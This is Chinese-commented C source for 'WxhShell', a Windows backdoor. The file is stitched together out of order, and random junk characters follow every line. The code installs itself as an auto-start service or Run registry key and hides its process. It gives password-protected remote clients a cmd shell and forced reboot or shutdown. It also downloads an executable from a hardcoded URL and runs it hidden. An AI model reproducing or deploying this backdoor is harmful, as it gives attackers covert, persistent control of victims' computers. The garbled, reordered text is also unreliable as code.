    if(Boot(SHUTDOWN)) 6HB]T)n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A@\qoS[  
    else { Bd.Z+#%l"  
    closesocket(wsh); Yo@m50s$  
    ExitThread(0); D'85VZEFyo  
    } oFwG+W /  
    break; widI s[ )  
    } nxf {PbHk  
  // 获取shell ;4R =eI  
  case 's': { HUD7{6}4  
    CmdShell(wsh); Y]M^n&f  
    closesocket(wsh); ;*"!:GR%h  
    ExitThread(0); ''%;EW>  
    break; #efqG=q  
  } %h3L  
  // 退出 k>$FT `  
  case 'x': { EI%M Azj}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %e(9-M4*  
    CloseIt(wsh); k62$:9`5  
    break; QR|XV%$  
    } A4}JZi6@  
  // 离开 2z[r@}3  
  case 'q': { n=;';(wR[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;K>{_k f  
    closesocket(wsh); mQmBf|Rl  
    WSACleanup();  W{L  
    exit(1); 8H&_,;  
    break; Y>(ZsHu  
        } mL8A2>Gig  
  } >~.Zr3P6kC  
  } ?,D>+::  
.A )\F",X  
  // 提示信息 :~WPY9i`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ],H1  
} NW }>pb9  
  } #>MO]  
**Qe`}E:  
  return; wBg<Q{J  
} M-}j9,oR`  
7W6eiUI'  
// shell模块句柄 `4$4bXrP'  
int CmdShell(SOCKET sock) D)f5pEq'  
{ MT;SRAmUr  
STARTUPINFO si; 6#OL ;Y]_  
ZeroMemory(&si,sizeof(si)); k'6<jEbk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fl8w7LcF7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i#CaKS  
PROCESS_INFORMATION ProcessInfo; / c4;3>I S  
char cmdline[]="cmd"; !G+n"-h9'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aW52.X z%8  
  return 0; j|3g(_v4W  
} o+]Y=r2  
CpUI|Rs  
// 自身启动模式 D{Hh#x8Y  
int StartFromService(void) ^zBjG/'7  
{ <O <'1uO,  
typedef struct j;1~=j])  
{ [] GthF  
  DWORD ExitStatus; Xtu:  
  DWORD PebBaseAddress; _)HD4,`  
  DWORD AffinityMask; B"pFJ"XR  
  DWORD BasePriority; I}6DoLbV  
  ULONG UniqueProcessId; |V5$'/Y  
  ULONG InheritedFromUniqueProcessId; \O8Y3|<  
}   PROCESS_BASIC_INFORMATION; m1~qaD<DZ$  
fW_}!`:  
PROCNTQSIP NtQueryInformationProcess; d~togTs1  
yYxeNE"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5`1(}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; */0vJz%<.M  
Verbmeg&n  
  HANDLE             hProcess; GnSgO-$"  
  PROCESS_BASIC_INFORMATION pbi; zhVa.r A  
Ov0O#`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); : ;E7+m  
  if(NULL == hInst ) return 0; 3i@ "D  
KdBq@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $V`KrA~]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e>])m3xvn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VJ~X#Q  
k"Z"$V2i  
  if (!NtQueryInformationProcess) return 0; QN{}R;s  
rX|y/0)F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q1O_CC}  
  if(!hProcess) return 0; 2uJNc!&  
iylBK!ou  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kT Z?+hx  
@2GhN&=  
  CloseHandle(hProcess); NB!'u) lFD  
>|UrxJ7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * zw R=  
if(hProcess==NULL) return 0; cJ7{4YK_#/  
UX-_{I QW  
HMODULE hMod; VuX >  
char procName[255]; pJ 2:` f<;  
unsigned long cbNeeded; imJ[:E  
v&[X&Hu[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F #!@}K8  
=|qt!gY)Y  
  CloseHandle(hProcess); ]Omb :  
<WQ<<s@#pb  
if(strstr(procName,"services")) return 1; // 以服务启动 avHD'zU}N  
2yEO=SN,(  
  return 0; // 注册表启动 Vid{6?7kh  
} tdw\Di#m  
 Gh)sw72  
// 主模块 A}t&-  
int StartWxhshell(LPSTR lpCmdLine) .b_0k<M!p  
{ ]<\;d B  
  SOCKET wsl; Q+u#?['  
BOOL val=TRUE; k *G!.  
  int port=0; ]2aYi9)  
  struct sockaddr_in door; `Q1WVd29  
q{9X.-]}  
  if(wscfg.ws_autoins) Install(); #Vn>ue+?  
K c2OLz#  
port=atoi(lpCmdLine); $ +GFOO  
@^y?Bh9jQ  
if(port<=0) port=wscfg.ws_port; }ZM*[j  
EL 8N[]RF  
  WSADATA data; [G'!`^V,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [0tf Y0  
m>*A0&??[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E.H,1 {  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $$bTd3N+  
  door.sin_family = AF_INET; XL.CJ5y>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z}'F"}QI  
  door.sin_port = htons(port); 1{hoO<CJ  
90y9~.v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p^4;fD  
closesocket(wsl); @qO8Jg"Q  
return 1; IQk#  
} @sg T[P*ut  
H.l,%x&K  
  if(listen(wsl,2) == INVALID_SOCKET) { 4B3irHs\Q  
closesocket(wsl); v8U1uOR,%  
return 1; qUDz(bFk/  
} V~J2s  
  Wxhshell(wsl); C\a:eSgaC  
  WSACleanup(); 53,,%Ue  
k8x&aH  
return 0; d=4f`q0k  
8~[C'+r  
} uJ)=+Exii  
2 l[A=Z  
// 以NT服务方式启动 iw~V_y4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VM2@{V/=~  
{ VhH]n yi7D  
DWORD   status = 0; fa+W9  
  DWORD   specificError = 0xfffffff; C#**)  
;Xd\$)n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^pQo`T6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k+q6U[ce  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OnPy8mC  
  serviceStatus.dwWin32ExitCode     = 0; C)KtM YA,  
  serviceStatus.dwServiceSpecificExitCode = 0; e??{&[  
  serviceStatus.dwCheckPoint       = 0; /|u]Y/ *  
  serviceStatus.dwWaitHint       = 0; }x#P<d(  
 wc+N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T956L'.+G  
  if (hServiceStatusHandle==0) return; 49J+&G?)j  
1{Alj27  
status = GetLastError(); 4_m /_Z0x  
  if (status!=NO_ERROR) ]|$$:e^U9  
{ Z1V'NJI+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z?t(+^  
    serviceStatus.dwCheckPoint       = 0; O[hbu![  
    serviceStatus.dwWaitHint       = 0; @DQ"vFj6<  
    serviceStatus.dwWin32ExitCode     = status; _#YHc[Wz  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0w[0%:R^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L(1,W<kYg  
    return; kX ,FQG>  
  } CN$A-sjZ  
^/d^$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,^+R%7mv  
  serviceStatus.dwCheckPoint       = 0; @Y&9S)xcE  
  serviceStatus.dwWaitHint       = 0; ad$Qs3)6o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P15 *VPy  
} %oCjZ"ke  
J_wz'eIb0  
// 处理NT服务事件,比如:启动、停止 oCdOC5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #Hn yE+tD  
{ zIQc#F6\5  
switch(fdwControl) im?XXsH'  
{ xu?QK6D:  
case SERVICE_CONTROL_STOP: :56lzsWUE<  
  serviceStatus.dwWin32ExitCode = 0; 6 pn@`UK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N;ecT@U g  
  serviceStatus.dwCheckPoint   = 0; <<2b2?a S`  
  serviceStatus.dwWaitHint     = 0; {!g.255+  
  { V\M!]Nnxr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'y M:W cN  
  } ^Lfn3.M  
  return; ;~Gpw/]5E  
case SERVICE_CONTROL_PAUSE: CU>K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U)w|GrxX  
  break; 5G ]#yb74  
case SERVICE_CONTROL_CONTINUE: RBD7mpd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <9@]|  
  break; +#JhhW Zj(  
case SERVICE_CONTROL_INTERROGATE: ? -F'0-t4%  
  break; QUw5~n ;-  
}; S7~F*CGBh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w%o4MFK=!  
} 8(_g]u#B;  
;=9v mQA  
// 标准应用程序主函数 o27`g\gDR,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zl#&Qm4Ot  
{ s^t1PfP(,  
&?g!}Ky \  
// 获取操作系统版本 CG>2 ,pP,  
OsIsNt=GetOsVer(); &N7:k+E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3F'dT[;  
?a0}^:6  
  // 从命令行安装 +e]b,9.sR  
  if(strpbrk(lpCmdLine,"iI")) Install(); +$= Wms-z  
OYtus7q<  
  // 下载执行文件 WZ6{(`;#m  
if(wscfg.ws_downexe) { &'yV:g3H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o>A%}YU  
  WinExec(wscfg.ws_filenam,SW_HIDE); !g&B)0u]*  
} Y&Lk4  
WfbNar[  
if(!OsIsNt) { W>|b98NPu  
// 如果时win9x,隐藏进程并且设置为注册表启动 t02"v4_i  
HideProc(); l`%} {3r9  
StartWxhshell(lpCmdLine); gcCYXPZp  
} x[>_I1TJ  
else k`~br249  
  if(StartFromService()) ~\}EROb <  
  // 以服务方式启动 Q fyERa\rb  
  StartServiceCtrlDispatcher(DispatchTable); c3!|h1h/v  
else ^$,kTU'=  
  // 普通方式启动 SyVbCj  
  StartWxhshell(lpCmdLine); &?`&X=Q  
i|^`gly  
return 0; :lQjy@J  
} .z>." `  
x-#9i  
Mh.eAM8_  
#DRt Mrfat  
=========================================== -*q2Y^A^l  
bfI -!,  
xAz4ZXj=q  
Jo(}#_y?  
wXZY5-h4  
KC-aLq/  
" _vLT!y  
Q0; gF?  
#include <stdio.h> 4$2T zJE  
#include <string.h> 99>yaW  
#include <windows.h> coVT+we  
#include <winsock2.h> F}.TT =((8  
#include <winsvc.h> 2_\|>g|  
#include <urlmon.h> U`p<lxRgQ  
_w/N[E  
#pragma comment (lib, "Ws2_32.lib") 5a_!&  
#pragma comment (lib, "urlmon.lib") l<: E+lU  
> ,Bu^] C  
#define MAX_USER   100 // 最大客户端连接数 Xl+a@Ggtq  
#define BUF_SOCK   200 // sock buffer ?HyioLO  
#define KEY_BUFF   255 // 输入 buffer e CUcE(  
"#k(V=y  
#define REBOOT     0   // 重启 &8i{'k,l  
#define SHUTDOWN   1   // 关机 wEc5{ b5M  
7CMgvH)O  
#define DEF_PORT   5000 // 监听端口 wP1VQUL  
CgKSK0/a  
#define REG_LEN     16   // 注册表键长度 ?N*@o.  
#define SVC_LEN     80   // NT服务名长度 Q4 :r$ &  
0a%ui2k  
// 从dll定义API ~%K(ou=2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); % P)}(e6y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |M>k &p,B-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4H? Ma|,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W}_}<rlF  
HU+H0S~g  
// wxhshell配置信息 _rJ SkZO  
struct WSCFG { )t ch>.EQ_  
  int ws_port;         // 监听端口 0i `Zy!  
  char ws_passstr[REG_LEN]; // 口令  +5mkMZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no SW'KYzn  
  char ws_regname[REG_LEN]; // 注册表键名 BmF>IQ`M?  
  char ws_svcname[REG_LEN]; // 服务名 6i9I 4*'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2^M+s\p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oP75|p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jt r=8OiL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {$:13AnK   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "FIx^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  Ph{+uI  
D?F5o^e"h<  
}; 2`U&,,-Mf  
,VsCRp  
// default Wxhshell configuration 13kb~'+&r  
struct WSCFG wscfg={DEF_PORT, QaBXzf   
    "xuhuanlingzhe", XJ?z{gXJ  
    1, r8 >?-P  
    "Wxhshell", '="){  
    "Wxhshell", @}!$NI8  
            "WxhShell Service", kDa#yN\  
    "Wrsky Windows CmdShell Service", +rP<m  
    "Please Input Your Password: ", B :.;:AEbT  
  1, Ud*[2Oi|R  
  "http://www.wrsky.com/wxhshell.exe", <ijmkNVS  
  "Wxhshell.exe" |?=1tS{iT  
    };  "<h#Z(  
K3D $ hb  
// 消息定义模块 '+zsj0!A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ahv=HWX k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tp2 _OQAQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .. TjEBp  
char *msg_ws_ext="\n\rExit."; YDD]n*&  
char *msg_ws_end="\n\rQuit."; ADz|Y~V!  
char *msg_ws_boot="\n\rReboot..."; +[[gU;U"v  
char *msg_ws_poff="\n\rShutdown..."; hzo,.hS's  
char *msg_ws_down="\n\rSave to "; :/l   
1&"1pH  
char *msg_ws_err="\n\rErr!"; p'}%pAY  
char *msg_ws_ok="\n\rOK!"; 2Hwf:S'  
a8aqcDs>O  
char ExeFile[MAX_PATH]; #8OqX*/  
int nUser = 0; UQPE)G  
HANDLE handles[MAX_USER]; Oh4WYDyT  
int OsIsNt; v72 dE  
(Z +C  
SERVICE_STATUS       serviceStatus; ,SwaDWNO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <);u]0  
IpmREl $j  
// 函数声明 h8Si,W 3o  
int Install(void); b7j#a#  
int Uninstall(void); lGhUfhk  
int DownloadFile(char *sURL, SOCKET wsh); 9Wrcl ai  
int Boot(int flag); 9 <m j@bI$  
void HideProc(void); GqxK|G1  
int GetOsVer(void); ?%ntO]  
int Wxhshell(SOCKET wsl); x=N;>  
void TalkWithClient(void *cs); @R{&>Q:.  
int CmdShell(SOCKET sock); yqI|BF`  
int StartFromService(void); ~A4WuA  
int StartWxhshell(LPSTR lpCmdLine); 0eP~F2<bC  
ev >9P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p~ItHwiT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c'R|Wyf  
v4aGL<SO  
// 数据结构和表定义 M6!brj\[|  
SERVICE_TABLE_ENTRY DispatchTable[] = pBkPn+@  
{ =^vUb  
{wscfg.ws_svcname, NTServiceMain}, 1Tr=*b %f  
{NULL, NULL} ^yTN (\9  
}; {p iS3xBi  
Y,~]ecI  
// 自我安装 S~Q";C[&  
int Install(void) 9~I WGj?  
{ LJ3UB  
  char svExeFile[MAX_PATH]; 9t1_"{'N1  
  HKEY key; 74#@F{w  
  strcpy(svExeFile,ExeFile); Lp=B? H  
DYK|"@  
// 如果是win9x系统,修改注册表设为自启动 ^XVa!s,d  
if(!OsIsNt) { $*R9LPpk+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZrS!R[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Oh$sma1  
  RegCloseKey(key); t+ ]+Gn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,#l oVLy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .*"IJD9  
  RegCloseKey(key); U+ =q_ <  
  return 0; HfPeR8I%i  
    } "RA$Twhj  
  } O~VUViS6$  
} %BKTN@;7  
else { >w2u  
-bF+uCfba  
// 如果是NT以上系统,安装为系统服务 gEu\X|7'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZT#G:a  
if (schSCManager!=0) ><qE5D[  
{ 1S:H!h3  
  SC_HANDLE schService = CreateService 3RUB2c4  
  ( }.zn:e  
  schSCManager, jtwO\6 t&  
  wscfg.ws_svcname, ',pPs=  
  wscfg.ws_svcdisp, i^l;PvIF  
  SERVICE_ALL_ACCESS, Nfh(2g K+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iy9]Y5b   
  SERVICE_AUTO_START, +qec>ALAg  
  SERVICE_ERROR_NORMAL, NYeg,{q  
  svExeFile, a\MJbBXv  
  NULL, :e;fs.C  
  NULL, I<U 1V<g  
  NULL, ?}>tfDu'  
  NULL, 4r*6fJ*bJ  
  NULL 1rC'sfz  
  ); 76/%Py|  
  if (schService!=0) , +^db)  
  { OH w6#N$\  
  CloseServiceHandle(schService); 9'M_tMm5  
  CloseServiceHandle(schSCManager); d?n~9_9e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L  z  
  strcat(svExeFile,wscfg.ws_svcname); jg(A_V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ->(B: Cz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _G|6xlO  
  RegCloseKey(key); XQA2uR4h  
  return 0; SEmD's  
    } y (A"g3^=  
  } bOdD:=f  
  CloseServiceHandle(schSCManager); )j]RFt  
} eMwf'*#  
} r[x7?cXsW  
5tL6R3  
return 1; *QX$Mo^E  
} 8 _J:Yg  
XN@5TZoaW  
// 自我卸载 YAo g;QL  
int Uninstall(void) 6FE[snw  
{ u(R`}C?P'  
  HKEY key; *))|ZE6jI  
M<nn+vy`  
if(!OsIsNt) { ~xCy(dL^}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fu/c)D6u*m  
  RegDeleteValue(key,wscfg.ws_regname); w#XJ!f6*_9  
  RegCloseKey(key); >Vvc55z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Evc 9k  
  RegDeleteValue(key,wscfg.ws_regname); &}r932  
  RegCloseKey(key); KB^IGF  
  return 0; 5eYCnc9  
  } I zT%Kq  
} &V"&SV>}  
} ]:;gk&P  
else { ":Q^/;D}U  
<bH>\@p7}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }73H$ss:  
if (schSCManager!=0) ;3!TOY"j;e  
{ {f)p|)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f}apn=  
  if (schService!=0) h4/rw fp^  
  { g5.Z B@j  
  if(DeleteService(schService)!=0) { b+3pu\w `  
  CloseServiceHandle(schService); .jCdJ =z  
  CloseServiceHandle(schSCManager); 4ZIXG,@mZJ  
  return 0; &}]Wbk4:  
  } )JPcSy*  
  CloseServiceHandle(schService); 3Wiu`A  
  } K"#}R<k8:A  
  CloseServiceHandle(schSCManager); zri<'W  
} S%4 K-I  
} 8P .! q  
U;(&!Ei  
return 1; ~LVa#  
} E-x(5^b"  
w3*JVIQC  
// 从指定url下载文件 QMIXz[9w  
int DownloadFile(char *sURL, SOCKET wsh) [# _ceg1G  
{ eg3{sDv,  
  HRESULT hr; (w.B_9#  
char seps[]= "/"; Pw")|85  
char *token; g%Z;rDfi  
char *file; <ANKoPNie  
char myURL[MAX_PATH]; #&2mu  
char myFILE[MAX_PATH]; DeUDZL%/  
((y+FJH  
strcpy(myURL,sURL); A1|:$tED+2  
  token=strtok(myURL,seps); V{npK(  
  while(token!=NULL) ?$ 3=m)s  
  { b7$?'neH/.  
    file=token; CB~&!MdMr  
  token=strtok(NULL,seps); Bpgl U=Qr  
  } f /jN$p  
Gqs8$[o  
GetCurrentDirectory(MAX_PATH,myFILE); SbB5J> >7J  
strcat(myFILE, "\\"); Z'EZPuZ!'  
strcat(myFILE, file); 1G\ugLm  
  send(wsh,myFILE,strlen(myFILE),0); yY1&h op  
send(wsh,"...",3,0); =Ru i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ''Hq-Ng  
  if(hr==S_OK) 6ul34\;  
return 0; pY2nv/  
else  6} 9A0  
return 1;  I{E10;  
y]Y)?])  
} W?$ ImW  
y]/{W}D  
// 系统电源模块 ]`MRH[{  
int Boot(int flag) { "/@,!9rJ  
{ ;{>z\6N  
  HANDLE hToken; Nk 7Q  
  TOKEN_PRIVILEGES tkp; P"- ,^?6  
X \h]N  
  if(OsIsNt) { p5*i d5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?znSA >  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AVi|JY)>  
    tkp.PrivilegeCount = 1; "8-]6p3u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a9"Gg}h\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]Z~H9!%t  
if(flag==REBOOT) { `0sa94H1[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IlwY5iL  
  return 0; E_xpq  
} mFvw s  
else { @A)gsDt9A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /_LUys/0  
  return 0; ~2pctqMA  
} >iq^Ts  
  } RY*6TYX!  
  else { I3SLR  
if(flag==REBOOT) { gSP|;Gy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZJ!/49c*>  
  return 0; ^UJO(   
} r:u5+A  
else { JK_sl>v.7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zRB1V99k  
  return 0; bJ9>,,D  
} GwpJxiFgk  
} g6N{Z e Wg  
w7O(I"  
return 1; A }dl@  
} ;'nu9FU*O  
/9 [nogP  
// win9x进程隐藏模块 qwnC{  
void HideProc(void) 9#1lxT4%  
{ cP(/+ /9  
BM:je(*p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o\2#o5#  
  if ( hKernel != NULL ) ];IUiS1  
  { -FJ 5N}R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 65MR(+3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {+Eq{8m`  
    FreeLibrary(hKernel); NC0x!tJ#7  
  } Xmtq~}K>  
7XdLZ4ub  
return; @ij}|k%*  
} &C?]n.A  
5?QR  
// 获取操作系统版本 ]` 3;8,  
int GetOsVer(void) c,e 0+  
{ _pW\F(+8  
  OSVERSIONINFO winfo; ^f>+5G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 514;!Q4K  
  GetVersionEx(&winfo); aN.Phn:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c>I^SY(r%  
  return 1; (/c9v8Pr(7  
  else 3q<\ \8Y*  
  return 0; aWW|.#L  
} rlW  
1J^{h5?lU  
// 客户端句柄模块 -p9|l%W  
int Wxhshell(SOCKET wsl) g,9o'fs`x  
{ J8(v65  
  SOCKET wsh; ~GMlnA]6  
  struct sockaddr_in client; !K_%@|:7%  
  DWORD myID; > `u} G1T\  
MLaH("aen  
  while(nUser<MAX_USER) eFbr1IV  
{ g3j@o/Y  
  int nSize=sizeof(client); WFy90*@Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M" %w9)@  
  if(wsh==INVALID_SOCKET) return 1; '@rGX+"  
8{@#N:SY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iYBs )  
if(handles[nUser]==0) |odl~juU  
  closesocket(wsh); O']-<E`1k  
else p ^T0(\1  
  nUser++; $--W,ov5j  
  } Hb IRE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K6_{AuL}4  
%J7 ;b<}To  
  return 0; H7*/  
} H<g- Bhv  
Ql!$e&A|l  
// 关闭 socket d:Wh0y}  
void CloseIt(SOCKET wsh) @ScH"I];uA  
{ Id|38   
closesocket(wsh); 1+v)#Wj  
nUser--; ;L++H5Kz6  
ExitThread(0); -bduB@#2d  
} W|; .G9  
vY:A7yGW  
// 客户端请求句柄 h9RG?r1  
void TalkWithClient(void *cs) O0c#-K.f  
{ oj[Wzeg%  
a";(C ,:0  
  SOCKET wsh=(SOCKET)cs; ma vc$!y  
  char pwd[SVC_LEN]; 4Rp2  
  char cmd[KEY_BUFF]; [{- Oy#T<  
char chr[1]; }n oI2.-#  
int i,j; U C3?XoT\  
WTZP}p1  
  while (nUser < MAX_USER) { m^%[  
:J5xO%WA(  
if(wscfg.ws_passstr) { P$4G2>D8dg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MW6d-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S2h?Q $e3  
  //ZeroMemory(pwd,KEY_BUFF); D`2Iy.|!  
      i=0; Mq8jPjL  
  while(i<SVC_LEN) { NAlYfbp  
D~G24k6b3  
  // 设置超时 ?,O{,2}  
  fd_set FdRead; D*I%=);B_  
  struct timeval TimeOut; 6m|j " m  
  FD_ZERO(&FdRead); la[xbv   
  FD_SET(wsh,&FdRead); [0w @0?[  
  TimeOut.tv_sec=8; `c ^2  
  TimeOut.tv_usec=0; }L3kpw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b<~\IPY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f^Lw3|rq4  
=i4Ds  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ ^r KOd  
  pwd=chr[0]; g,@0 ;uVq  
  if(chr[0]==0xd || chr[0]==0xa) { Re0ma%~LP  
  pwd=0; ECWn/4Aws  
  break; kTL{?-  
  } Wf +j/RxTi  
  i++; bO^#RVH  
    } 5VDqx@(  
pc J5UJY  
  // 如果是非法用户,关闭 socket ! jm>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oDXUa5x  
} }PTYNidlR  
RHZ5f0b4L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ri<E[8\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1D sgU6"  
a2 e-Q({  
while(1) { N=YRYU o  
s+8 v7ZJ  
  ZeroMemory(cmd,KEY_BUFF); q["CT&0  
$*tq$DZ4&  
      // 自动支持客户端 telnet标准   %qfql  
  j=0; mx y>  
  while(j<KEY_BUFF) { zB kS1qMn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q-k{Lqa-  
  cmd[j]=chr[0]; mFC0f?nr  
  if(chr[0]==0xa || chr[0]==0xd) { mzLDZ# =b  
  cmd[j]=0; I9-vV>:z  
  break; Y9F!HM-`  
  } KWq7M8mq  
  j++; K3Zc>QL{  
    } hiZE8?0+~N  
eQbDs_  
  // 下载文件 q90eB6G0g  
  if(strstr(cmd,"http://")) { Mhc!v, D$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~pWbD~aeg  
  if(DownloadFile(cmd,wsh)) N:[22`NP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T0J"Wr>WY  
  else M.iR5Uh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i Tg?JoE2  
  } E5(\/;[*`  
  else { gJ6 C&8tl  
{{7%z4l  
    switch(cmd[0]) { %]S~PKx  
  2It$ bz  
